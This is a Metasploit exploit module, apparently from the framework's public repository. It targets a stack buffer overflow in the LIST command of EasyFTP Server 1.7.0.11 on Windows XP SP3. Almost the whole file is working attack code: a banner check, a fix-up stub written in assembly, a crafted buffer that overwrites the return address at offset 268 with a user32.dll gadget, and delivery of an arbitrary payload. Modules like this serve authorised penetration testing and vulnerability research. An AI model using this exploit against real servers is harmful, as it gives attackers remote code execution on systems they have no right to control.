EasyFTP Server LIST Command Stack Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

##
# EDB-ID: 14400
# Date : July 5, 2010
# Discovered by : Karn Ganeshen
# Version : 1.7.0.11
# Tested on : Windows XP SP3 Version 2002
# MFR  & VAS TEAM : just testing howto convert exploits to metasploit modules.
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'EasyFTP Server LIST Command Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11.
        credit goes to Karn Ganeshan.

        NOTE: Although, this is likely to exploit the same vulnerability as the
        'easyftp_cwd_fixret' exploit, it uses a slightly different vector.
      },
      'Author'         =>
        [
          'Karn Ganeshan <karnganeshan[at]gmail.com>', # original version
          'MFR',    # convert to metasploit format.
          'jduck'   # modified to use fix-up stub (works with bigger payloads)
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '62134' ],
          [ 'EDB', '14400' ],
          [ 'EDB', '14451' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 512,
          'BadChars' => "\x00\x0a\x0d\x2f\x5c",
          'DisableNops' => true
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP3 - Version 2002',   { 'Ret' => 0x7e49732b } ], # call edi from user32.dll (v5.1.2600.5512)
        ],
      'DisclosureDate' => '2010-07-05',
      'DefaultTarget' => 0))
  end

  def check
    connect
    disconnect

    if (banner =~ /BigFoolCat/)
      return Exploit::CheckCode::Detected
    end
    Exploit::CheckCode::Safe
  end

  def exploit
    connect_login

    # NOTE:
    # This exploit jumps to edi, which happens to point at a partial version of
    # the 'buf' string in memory. The fixRet below fixes up the code stored on the
    # stack and then jumps there to execute the payload. The value in esp is used
    # with an offset for the fixup.
    fixRet_asm = %q{
      mov edi,esp
      mov [edi], 0xfeedfed5
      add edi, 0xfffffff4
      mov byte ptr [edi], 0xc0
      add edi,4
      mov [edi], 0xdeadbeef
      add edi, 0xffffff24
      add esp, 0xfffffe04
      jmp edi
    }
    fixRet = Metasm::Shellcode.assemble(Metasm::Ia32.new, fixRet_asm).encode_string

    buf = ''

    print_status("Prepending fixRet...")
    buf << fixRet
    buf << make_nops(0x30 - buf.length)

    print_status("Adding the payload...")
    buf << payload.encoded

    # Patch the original stack data into the fixer stub
    buf[4, 4] = buf[268 + 8, 4]
    buf[16, 1] = buf[268-4, 1]
    buf[22, 4] = buf[268, 4]

    print_status("Overwriting part of the payload with target address...")
    buf[268,4] = [target.ret].pack('V') # put return address @ 268 bytes

    print_status("Sending exploit buffer...")
    send_cmd( ['LIST', buf] , false)

    handler
    disconnect
  end
end